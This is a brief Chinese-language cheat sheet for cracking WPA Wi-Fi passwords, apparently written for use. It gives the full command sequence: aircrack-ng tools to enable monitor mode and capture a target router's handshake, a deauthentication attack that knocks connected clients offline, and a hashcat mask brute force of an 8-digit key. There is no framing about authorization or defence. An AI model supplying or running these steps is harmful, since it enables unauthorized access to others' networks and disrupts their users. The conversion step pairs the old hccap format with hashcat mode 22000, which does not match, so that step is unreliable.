hashcat 破解WPA

kali部分

//查看网卡状态
airmon-ng
//清除占用网卡的进程
airmon-ng check kill
//启动监听模式
airmon-ng start wlan0

//查看附近的wifi信息
airodump-ng wlan0
//开始抓包
airodump-ng -c 信道 --bssid 路由MAC -w 抓包文件名 wlan0
//干扰已连接的客户端
aireplay-ng -0 2 -a 路由MAC地址 -c 目标客户端MAC wlan0

hashcat部分

//转换包
方式1：aircrack-ng <out.cap> -J <out.hccap>

方式2：https://hashcat.net/cap2hccap

//掩码破解，举例8为数字
hashcat -m 22000 -a 3 转换后的hash文件 ?d?d?d?d?d?d?d?d